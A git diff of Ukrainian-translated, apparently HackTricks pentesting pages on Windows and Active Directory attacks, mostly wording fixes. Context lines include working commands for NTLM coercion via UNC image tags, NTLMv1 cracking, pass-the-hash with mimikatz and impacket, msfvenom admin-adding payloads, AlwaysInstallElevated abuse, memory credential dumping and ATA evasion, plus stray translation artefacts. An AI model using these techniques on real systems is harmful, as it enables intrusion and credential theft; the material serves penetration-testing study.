[**Дізнайтеся більше про те, як захистити облікові дані тут.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Заходи захисту для захисту облікових даних**
|
||||
|
||||
@ -698,9 +698,9 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
||||
### **Обхід систем виявлення**
|
||||
|
||||
- **Обхід виявлення Microsoft ATA**:
|
||||
- **Перерахунок користувачів**: Уникнення перерахунку сесій на контролерах домену, щоб запобігти виявленню ATA.
|
||||
- **Перерахування користувачів**: Уникнення перерахування сесій на контролерах домену, щоб запобігти виявленню ATA.
|
||||
- **Імітація квитків**: Використання **aes** ключів для створення квитків допомагає уникнути виявлення, не знижуючи до NTLM.
|
||||
- **Атаки DCSync**: Рекомендується виконувати з не-контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
|
||||
- **Атаки DCSync**: Рекомендується виконувати з не контролера домену, щоб уникнути виявлення ATA, оскільки безпосереднє виконання з контролера домену викличе сповіщення.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
@ -53,11 +53,11 @@ https://github.com/p0dalirius/Coercer
|
||||
|
||||
Атака `PrivExchange` є наслідком вразливості, виявленої в **функції `PushSubscription` Exchange Server**. Ця функція дозволяє серверу Exchange бути примушеним будь-яким доменним користувачем з поштовою скринькою аутентифікуватися на будь-якому хості, наданому клієнтом, через HTTP.
|
||||
|
||||
За замовчуванням **служба Exchange працює як SYSTEM** і має надмірні привілеї (зокрема, вона має **привілеї WriteDacl на домен до 2019 Cumulative Update**). Цю вразливість можна експлуатувати для дозволу **пересилання інформації до LDAP і подальшого витягування бази даних домену NTDS**. У випадках, коли пересилання до LDAP неможливе, цю вразливість все ще можна використовувати для пересилання та аутентифікації на інших хостах у домені. Успішна експлуатація цієї атаки надає негайний доступ до адміністратора домену з будь-яким аутентифікованим обліковим записом домену.
|
||||
За замовчуванням **служба Exchange працює як SYSTEM** і має надмірні привілеї (зокрема, вона має **привілеї WriteDacl на домен до 2019 Cumulative Update**). Цю вразливість можна експлуатувати для дозволу **пересилання інформації до LDAP і, відповідно, витягнення бази даних домену NTDS**. У випадках, коли пересилання до LDAP неможливе, цю вразливість все ще можна використовувати для пересилання та аутентифікації на інших хостах у домені. Успішна експлуатація цієї атаки надає негайний доступ до адміністратора домену з будь-яким аутентифікованим обліковим записом домену.
|
||||
|
||||
## Всередині Windows
|
||||
|
||||
Якщо ви вже всередині машини Windows, ви можете примусити Windows підключитися до сервера, використовуючи привілейовані облікові записи за допомогою:
|
||||
Якщо ви вже всередині машини Windows, ви можете змусити Windows підключитися до сервера, використовуючи привілейовані облікові записи за допомогою:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
@ -82,7 +82,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### Certutil
|
||||
|
||||
Можливо використовувати certutil.exe lolbin (підписаний Microsoft бінарний файл) для примушення NTLM аутентифікації:
|
||||
Можливо використовувати certutil.exe lolbin (підписаний Microsoft бінарний файл) для примусу NTLM аутентифікації:
|
||||
```bash
|
||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
```
|
||||
@ -90,7 +90,7 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### Via email
|
||||
|
||||
Якщо ви знаєте **адресу електронної пошти** користувача, який входить у систему машини, яку ви хочете скомпрометувати, ви можете просто надіслати йому **електронний лист з зображенням 1x1** таким як
|
||||
Якщо ви знаєте **електронну адресу** користувача, який входить у систему машини, яку ви хочете скомпрометувати, ви можете просто надіслати йому **електронний лист з зображенням 1x1** таким як
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
@ -98,13 +98,13 @@ certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
|
||||
### MitM
|
||||
|
||||
Якщо ви можете виконати атаку MitM на комп'ютер і вставити HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, як наступне, на сторінку:
|
||||
Якщо ви можете виконати атаку MitM на комп'ютер і вставити HTML на сторінку, яку він буде переглядати, ви можете спробувати вставити зображення, як показано нижче, на сторінку:
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## Злом NTLMv1
|
||||
|
||||
Якщо ви можете захопити [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\
|
||||
&#xNAN;_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
|
||||
Якщо ви можете захопити [NTLMv1 challenges прочитайте тут, як їх зламати](../ntlm/index.html#ntlmv1-attack).\
|
||||
_Rем'ятайте, що для зламу NTLMv1 вам потрібно встановити виклик Responder на "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
У середовищах, де працюють **Windows XP та Server 2003**, використовуються LM (Lan Manager) хеші, хоча загальновідомо, що їх легко скомпрометувати. Конкретний LM хеш, `AAD3B435B51404EEAAD3B435B51404EE`, вказує на ситуацію, коли LM не використовується, представляючи хеш для порожнього рядка.
|
||||
|
||||
За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в гру за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби підключення здійснюються за допомогою IP-адреси замість дійсного імені хоста.
|
||||
За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в силу за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби підключення здійснюються за допомогою IP-адреси замість дійсного імені хоста.
|
||||
|
||||
Наявність заголовка **"NTLMSSP"** у мережевих пакетах сигналізує про процес аутентифікації NTLM.
|
||||
|
||||
@ -53,11 +53,11 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
||||
5. **Сервер надсилає** до **контролера домену** **ім'я домену, ім'я користувача, виклик та відповідь**. Якщо **немає** налаштованого Active Directory або ім'я домену є ім'ям сервера, облікові дані **перевіряються локально**.
|
||||
6. **Контролер домену перевіряє, чи все вірно** і надсилає інформацію на сервер
|
||||
|
||||
**Сервер** та **контролер домену** можуть створити **Безпечний канал** через **Netlogon** сервер, оскільки контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**).
|
||||
**Сервер** та **Контролер домену** можуть створити **Безпечний канал** через **сервер Netlogon**, оскільки Контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**).
|
||||
|
||||
### Локальна схема аутентифікації NTLM
|
||||
|
||||
Аутентифікація така ж, як і згадувалася **раніше, але** **сервер** знає **хеш користувача**, який намагається аутентифікуватися в файлі **SAM**. Тому, замість того, щоб запитувати контролер домену, **сервер перевірить самостійно**, чи може користувач аутентифікуватися.
|
||||
Аутентифікація така ж, як і згадувалася **раніше**, але **сервер** знає **хеш користувача**, який намагається аутентифікуватися в файлі **SAM**. Тому, замість того, щоб запитувати Контролер домену, **сервер перевірить самостійно**, чи може користувач аутентифікуватися.
|
||||
|
||||
### Виклик NTLMv1
|
||||
|
||||
@ -79,9 +79,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
||||
|
||||
Ви могли б зловживати деякими обліковими даними/сесіями, які у вас вже є в AD, щоб **попросити принтер аутентифікуватися** проти деякого **хоста під вашим контролем**. Потім, використовуючи `metasploit auxiliary/server/capture/smb` або `responder`, ви можете **встановити виклик аутентифікації на 1122334455667788**, захопити спробу аутентифікації, і якщо вона була виконана за допомогою **NTLMv1**, ви зможете **зламати її**.\
|
||||
Якщо ви використовуєте `responder`, ви можете спробувати \*\*використати прапор `--lm` \*\* для спроби **знизити** **аутентифікацію**.\
|
||||
&#xNAN;_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
|
||||
_Зверніть увагу, що для цієї техніки аутентифікація повинна виконуватися за допомогою NTLMv1 (NTLMv2 не є дійсним)._
|
||||
|
||||
Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете її зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com) наприклад).
|
||||
Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете його зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com) наприклад).
|
||||
|
||||
### Атака NTLMv1 з hashcat
|
||||
|
||||
@ -122,7 +122,7 @@ Please provide the content you would like to have translated.
|
||||
727B4E35F947129E:1122334455667788
|
||||
A52B9CDEDAE86934:1122334455667788
|
||||
```
|
||||
Запустіть hashcat (розподілений варіант найкраще через інструмент, такий як hashtopolis), оскільки це займе кілька днів в іншому випадку.
|
||||
Запустіть hashcat (найкраще в розподіленому режимі через інструмент, такий як hashtopolis), оскільки це займе кілька днів в іншому випадку.
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
@ -155,18 +155,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
### NTLMv2 Challenge
|
||||
|
||||
Довжина **виклику становить 8 байт** і **надсилаються 2 відповіді**: одна має **довжину 24 байти**, а довжина **іншої** є **змінною**.
|
||||
**Довжина виклику становить 8 байт** і **надсилаються 2 відповіді**: одна має **24 байти** в довжину, а довжина **іншої** є **змінною**.
|
||||
|
||||
**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи як **ключ** хеш MD4 **NT hash**. Потім **результат** буде використаний як **ключ** для шифрування за допомогою **HMAC_MD5** **виклику**. До цього буде **додано клієнтський виклик довжиною 8 байт**. Усього: 24 Б.
|
||||
**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи в якості **ключа** хеш MD4 **NT hash**. Потім **результат** буде використаний як **ключ** для шифрування за допомогою **HMAC_MD5** виклику. До цього **додасться клієнтський виклик довжиною 8 байт**. Всього: 24 Б.
|
||||
|
||||
**Друга відповідь** створюється з використанням **кількох значень** (новий клієнтський виклик, **мітка часу** для уникнення **атаки повтору**...)
|
||||
**Друга відповідь** створюється з використанням **кількох значень** (новий клієнтський виклик, **часова мітка** для запобігання **атакам повтору**...)
|
||||
|
||||
Якщо у вас є **pcap, який зафіксував успішний процес аутентифікації**, ви можете слідувати цьому посібнику, щоб отримати домен, ім'я користувача, виклик і відповідь та спробувати зламати пароль: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
||||
|
||||
## Pass-the-Hash
|
||||
|
||||
**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітування**.\
|
||||
Вам потрібно використовувати **інструмент**, який **виконає** **аутентифікацію NTLM, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **аутентифікація NTLM виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.
|
||||
**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітування** її.\
|
||||
Вам потрібно використовувати **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація буде виконана**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.
|
||||
|
||||
**Будь ласка, пам'ятайте, що ви також можете виконувати атаки Pass-the-Hash, використовуючи облікові записи комп'ютерів.**
|
||||
|
||||
@ -183,14 +183,14 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
|
||||
Ви можете отримати виконання коду на Windows машинах, використовуючи Pass-the-Hash з Linux.\
|
||||
[**Доступ тут, щоб дізнатися, як це зробити.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
||||
|
||||
### Скомпільовані інструменти Impacket для Windows
|
||||
### Impacket Windows скомпільовані інструменти
|
||||
|
||||
Ви можете завантажити [бінарні файли impacket для Windows тут](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
||||
Ви можете завантажити [impacket бінарники для Windows тут](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
||||
|
||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||
- **atexec.exe** (У цьому випадку вам потрібно вказати команду, cmd.exe та powershell.exe не є дійсними для отримання інтерактивної оболонки)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Є ще кілька бінарних файлів Impacket...
|
||||
- Є ще кілька бінарників Impacket...
|
||||
|
||||
### Invoke-TheHash
|
||||
|
||||
@ -240,7 +240,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
## NTLM Relay та Responder
|
||||
|
||||
**Прочитайте більш детальну інструкцію про те, як виконати ці атаки тут:**
|
||||
**Прочитайте більш детальний посібник про те, як виконати ці атаки тут:**
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
|
||||
@ -42,7 +42,7 @@ integrity-levels.md
|
||||
|
||||
### Перерахунок інформації про версію
|
||||
|
||||
Перевірте, чи має версія Windows якісь відомі вразливості (також перевірте застосовані патчі).
|
||||
Перевірте, чи має версія Windows відомі вразливості (також перевірте застосовані патчі).
|
||||
```bash
|
||||
systeminfo
|
||||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||||
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
|
||||
cat (Get-PSReadlineOption).HistorySavePath
|
||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Файли транскрипції PowerShell
|
||||
### PowerShell Transcript файли
|
||||
|
||||
Ви можете дізнатися, як це увімкнути в [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -167,7 +167,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
|
||||
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
|
||||
|
||||
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це зброя MiTM, що використовує експлойти для ін'єкції 'фальшивих' оновлень у трафік WSUS без SSL.
|
||||
Для експлуатації цих вразливостей ви можете використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - це скрипти експлойтів MiTM, які дозволяють ввести 'фальшиві' оновлення в трафік WSUS без SSL.
|
||||
|
||||
Прочитайте дослідження тут:
|
||||
|
||||
@ -184,11 +184,11 @@ CTX_WSUSpect_White_Paper (1).pdf
|
||||
>
|
||||
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
||||
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він буде звільнений).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
В **локальному підвищенні привілеїв** існує вразливість у середовищах **домену** Windows за певних умов. Ці умови включають середовища, де **підпис LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підпис LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
|
||||
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -196,7 +196,7 @@ CTX_WSUSpect_White_Paper (1).pdf
|
||||
|
||||
## AlwaysInstallElevated
|
||||
|
||||
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі з будь-якими привілеями можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
|
||||
**Якщо** ці 2 реєстри **увімкнені** (значення **0x1**), тоді користувачі будь-яких привілеїв можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**.
|
||||
```bash
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
@ -210,7 +210,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -232,7 +232,7 @@ create-msi-with-wix.md
|
||||
|
||||
### Створення MSI з Visual Studio
|
||||
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe`
|
||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
|
||||
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
|
||||
@ -269,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі безпечно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACL, що дозволяє їм переглядати паролі локальних адміністраторів за наявності авторизації.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -360,8 +360,8 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Дозволи на файли та папки
|
||||
|
||||
Перш за все, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінарний файл** або чи маєте ви права на запис у папці з бінарними файлами для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||
По-перше, при переліку процесів **перевірте наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінаром, щоб використати можливі [**DLL Hijacking атаки**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -393,7 +393,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Витягування паролів з пам'яті
|
||||
|
||||
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте зробити дамп пам'яті та прочитати облікові дані.
|
||||
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте витягнути пам'ять і прочитати облікові дані.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -436,7 +436,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Якщо ви отримуєте цю помилку (наприклад, з SSDPSRV):
|
||||
|
||||
_Сталася системна помилка 1058._\
|
||||
&#xNAN;_Tлужба не може бути запущена, або тому, що вона вимкнена, або тому, що з нею не пов'язано жодних увімкнених пристроїв._
|
||||
_Службу не можна запустити, або тому, що вона вимкнена, або тому, що з нею не пов'язано жодних увімкнених пристроїв._
|
||||
|
||||
Ви можете увімкнути її, використовуючи
|
||||
```bash
|
||||
@ -445,7 +445,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
||||
|
||||
**Інший обхідний шлях** цієї проблеми - виконати:
|
||||
**Інший обхідний шлях** цієї проблеми - запустити:
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
@ -476,7 +476,7 @@ net stop [service name] && net start [service name]
|
||||
|
||||
### Слабкі дозволи бінарних файлів служб
|
||||
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте ви **права на запис у папці**, де розташований бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Ви можете отримати кожен бінарний файл, який виконується службою, використовуючи **wmic** (не в system32) та перевірити свої дозволи, використовуючи **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -551,13 +551,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Recovery Actions
|
||||
|
||||
Windows дозволяє користувачам вказувати дії, які потрібно виконати, якщо служба зазнає збою. Цю функцію можна налаштувати для вказівки на бінарний файл. Якщо цей бінарний файл можна замінити, можлива ескалація привілеїв. Більше деталей можна знайти в [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows дозволяє користувачам вказувати дії, які потрібно виконати, якщо служба зазнає збою. Цю функцію можна налаштувати для вказівки на бінарний файл. Якщо цей бінарний файл можна замінити, можлива ескалація привілеїв. Більше деталей можна знайти в [офіційній документації](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Applications
|
||||
|
||||
### Installed Applications
|
||||
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете перезаписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -568,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
### Права на запис
|
||||
|
||||
Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете ви змінити якийсь бінарний файл, який буде виконуватися обліковим записом адміністратора (schedtasks).
|
||||
Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете ви змінити якийсь бінарний файл, який буде виконаний обліковим записом адміністратора (schedtasks).
|
||||
|
||||
Спосіб знайти слабкі права на папки/файли в системі - це зробити:
|
||||
```bash
|
||||
@ -593,9 +593,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
|
||||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
|
||||
```
|
||||
### Запуск при старті
|
||||
### Запустити при старті
|
||||
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстри або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстраційні або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця автозапуску для ескалації привілеїв**:
|
||||
|
||||
{{#ref}}
|
||||
@ -657,7 +657,7 @@ netstat -ano #Opened ports?
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||||
```
|
||||
### ARP Таблиця
|
||||
### ARP Table
|
||||
```
|
||||
arp -A
|
||||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
@ -707,7 +707,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
|
||||
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
|
||||
|
||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з за замовчуванням сховища.
|
||||
